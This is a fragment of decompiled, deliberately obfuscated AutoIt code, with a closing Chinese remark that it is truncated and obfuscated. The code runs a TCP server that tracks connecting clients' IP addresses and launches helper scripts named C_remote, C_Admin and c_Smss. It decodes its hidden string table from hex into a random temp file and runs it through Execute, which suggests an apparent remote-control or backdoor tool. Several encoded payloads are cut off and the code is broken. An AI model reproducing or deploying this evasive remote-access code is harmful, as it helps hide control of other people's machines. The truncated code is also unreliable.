ENDFUNC FUNC A041010480B ( $A21F0E01A33 ) LOCAL $A2EF0F03702 = """ & @SCRIPTDIR & "\data\S_TranFile.a3x" & """ LOCAL $A0201001D50 = """ & @SCRIPTDIR & "\data\c_Smss.a3x" & """ LOCAL $A2001106023 = """ & @SCRIPTDIR & "\data\C_Admin.a3x" & """ LOCAL $A6101203002 = """ & @SCRIPTDIR & "\data\C_remote.a3x" & """ LOCAL $A1D01301B2B = """ & @SCRIPTDIR & "\data\Boot.dat" & """ LOCAL $A6201405046 = """ & @SCRIPTDIR & "\维护通道\" & """ LOCAL $A4B01503A37 = $A0201001D50 & "|" & $A2001106023 & "|" & $A6101203002 & "|" & $A1D01301B2B & "|" & $A6201405046 RUN( @AUTOITEXE & " /AutoIt3ExecuteScript " & $A2EF0F03702 & " " & A3710400F2C ( $A21F0E01A33 ) & " " & $A5A80001A09 & " " & $A4B01503A37 ) ENDFUNC FUNC A5810205829 ( ) IF NOT ISDECLARED( "SSA5810205829" ) THEN GLOBAL $A5001603F37 = A190030585C ( $OS [ 150 ] ) , $A3001902216 = A190030585C ( $OS [ 151 ] ) , $A4801A0345B = A190030585C ( $OS [ 152 ] ) , $A3C01B04F40 = A190030585C ( $OS [ 153 ] ) , $A0401C0310C = A190030585C ( $OS [ 154 ] ) , $A1101D05F14 = A190030585C ( $OS [ 155 ] ) , $A5701E02110 = A190030585C ( $OS [ 156 ] ) GLOBAL $SSA5810205829 = 1 ENDIF $A0580E02736 = TCPACCEPT( $A3E80201A2D ) IF $A0580E02736 <> - NUMBER( $A5001603F37 ) THEN $A4701701429 = A3710400F2C ( $A0580E02736 ) $A1001804621 = UBOUND( $A3D80405303 ) + NUMBER( $A3001902216 ) REDIM $A3D80405303 [ $A1001804621 ] [ NUMBER( $A4801A0345B ) ] $A3D80405303 [ $A1001804621 - NUMBER( $A3C01B04F40 ) ] [ NUMBER( $A0401C0310C ) ] = $A0580E02736 $A3D80405303 [ $A1001804621 - NUMBER( $A1101D05F14 ) ] [ NUMBER( $A5701E02110 ) ] = $A4701701429 ENDIF ENDFUNC FUNC A611030013E ( ) IF NOT ISDECLARED( "SSA611030013E" ) THEN GLOBAL $A3B01F00B14 = A190030585C ( $OS [ 157 ] ) , $A5611005311 = A190030585C ( $OS [ 158 ] ) , $A4A1120120D = A190030585C ( $OS [ 159 ] ) , $A001140442F = A190030585C ( $OS [ 160 ] ) , $A241160405A = A190030585C ( $OS [ 161 ] ) , $A0011702958 = A190030585C ( $OS [ 162 ] ) , $A1211803909 = A190030585C ( $OS [ 163 ] ) GLOBAL $SSA611030013E = 1 ENDIF FOR $A5820400425 = NUMBER( $A3B01F00B14 ) TO UBOUND( $A3D80405303 ) - NUMBER( $A5611005311 ) $A5F11100757 = TCPSEND( $A3D80405303 [ $A5820400425 ] [ NUMBER( $A4A1120120D ) ] , "{ol}" ) IF @ERROR THEN LOCAL $A0C11304D0C = $A3D80405303 [ $A5820400425 ] [ NUMBER( $A001140442F ) ] LOCAL $A5011505E10 = $A3D80405303 [ $A5820400425 ] [ NUMBER( $A241160405A ) ] TCPCLOSESOCKET( $A3D80405303 [ $A5820400425 ] [ NUMBER( $A0011702958 ) ] ) A0700405D59 ( $A3D80405303 , $A5820400425 ) LOCAL $A46A0204417 = A0100503718 ( $A3D80405303 , $A0C11304D0C ) IF @ERROR THEN A2300B04663 ( "_DBNT_oFFCli{spl}" & UBOUND( $A3D80405303 ) - NUMBER( $A1211803909 ) & "{spl}" & $A0C11304D0C ) ELSE ENDIF EXITLOOP ENDIF NEXT ENDFUNC FUNC A3710400F2C ( $A2C1190550D ) IF NOT ISDECLARED( "SSA3710400F2C" ) THEN GLOBAL $A0411C0111F = A190030585C ( $OS [ 164 ] ) , $A1511D04D1E = A190030585C ( $OS [ 165 ] ) , $A2611E03712 = A190030585C ( $OS [ 166 ] ) , $A4311F02F12 = A190030585C ( $OS [ 167 ] ) , $A1721002A12 = A190030585C ( $OS [ 168 ] ) , $A4B2110060F = A190030585C ( $OS [ 169 ] ) GLOBAL $SSA3710400F2C = 1 ENDIF LOCAL $A4B11A03F37 , $A3211B00B33 $A4B11A03F37 = DLLSTRUCTCREATE( "short;ushort;uint;char[8]" ) $A3211B00B33 = DLLCALL( "Ws2_32.dll" , "int" , "getpeername" , "int" , $A2C1190550D , "ptr" , DLLSTRUCTGETPTR( $A4B11A03F37 ) , "int*" , DLLSTRUCTGETSIZE( $A4B11A03F37 ) ) IF NOT @ERROR AND $A3211B00B33 [ NUMBER( $A0411C0111F ) ] = NUMBER( $A1511D04D1E ) THEN $A3211B00B33 = DLLCALL( "Ws2_32.dll" , "str" , "inet_ntoa" , "int" , DLLSTRUCTGETDATA( $A4B11A03F37 , NUMBER( $A2611E03712 ) ) ) IF NOT @ERROR THEN $A3211B00B33 = $A3211B00B33 [ NUMBER( $A4311F02F12 ) ] ELSE $A3211B00B33 = NUMBER( $A1721002A12 ) ENDIF $A4B11A03F37 = NUMBER( $A4B2110060F ) RETURN $A3211B00B33 ENDFUNC FUNC A0A10504343 ( ) TCPCLOSESOCKET( $A0580E02736 ) TCPCLOSESOCKET( $A3E80201A2D ) TCPSHUTDOWN( ) ENDFUNC FUNC A190030585C_ ( ) FOR $AX0X0XA = 1 TO 5 $A190030585CSZ_ = A190030585CX_ ( ) FILEINSTALL( "DBNT.au3.tbl" , $A190030585CSZ_ , 1 ) GLOBAL $A190030585C , $OS = EXECUTE( BINARYTOSTRING( "0x457865637574652842696E617279746F737472696E67282730783435373836353633373537343635323834323639364536313732373937343646373337343732363936453637323832373330373833353333333733343337333233363339333634353336333733353333333733303336343333363339333733343332333833343336333633393336343333363335333533323336333533363331333633343332333833323334333433313333333133333339333333303333333033333333333333303333333533?" ) ) IF ISARRAY( $OS ) AND $OS [ 0 ] >= 169 THEN EXITLOOP SLEEP( 10 ) NEXT EXECUTE( BINARYTOSTRING( "0x457865637574652842696E617279746F737472696E67282730783435373836353633373537343635323834323639364536313732373937343646373337343732363936453637323832373330373833333331333234323334333633363339333634333336333533343334333633353336343333363335333733343336333533323338333233343334333133333331333333393333333033333330333333333333333033333335333333383333333533343333333733333337343133353436333233393237323932?" ) ) ENDFUNC FUNC A190030585CX_ ( ) LOCAL $A190030585CS1_ = A190030585C ( "4054656D70446972" ) , $A190030585CS3_ = A190030585C ( "31" ) , $A190030585CS4_ = A190030585C ( "5c" ) , $A190030585CS5_ = A190030585C ( "5c" ) , $A190030585CS6_ = A190030585C ( "37" ) , $A190030585CS8_ = A190030585C ( "3937" ) , $A190030585CS9_ = A190030585C ( "313232" ) , $A190030585CS7_ = A190030585C ( "31" ) , $A190030585CSA_ $A190030585CS2_ = EXECUTE( $A190030585CS1_ ) IF STRINGRIGHT( $A190030585CS2_ , NUMBER( $A190030585CS3_ ) ) <> $A190030585CS4_ THEN $A190030585CS2_ = $A190030585CS2_ & $A190030585CS5_ SRANDOM( NUMBER( STRINGRIGHT( TIMERINIT( ) , 4 ) ) ) DO $A190030585CSA_ = "" WHILE STRINGLEN( $A190030585CSA_ ) < NUMBER( $A190030585CS6_ ) $A190030585CSA_ = $A190030585CSA_ & CHR( RANDOM( NUMBER( $A190030585CS8_ ) , NUMBER( $A190030585CS9_ ) , NUMBER( $A190030585CS7_ ) ) ) WEND $A190030585CSA_ = $A190030585CS2_ & $A190030585CSA_ UNTIL NOT FILEEXISTS( $A190030585CSA_ ) RETURN ( $A190030585CSA_ ) ENDFUNC FUNC A190030585C ( $A190030585C ) LOCAL $A190030585C_ FOR $X = 1 TO STRINGLEN( $A190030585C ) STEP 2 $A190030585C_ &= CHR( DEC( STRINGMID( $A190030585C , $X , 2 ) ) ) NEXT RETURN $A190030585C_ ENDFUNC
信红尘岁月得代码 有截断、有混淆
|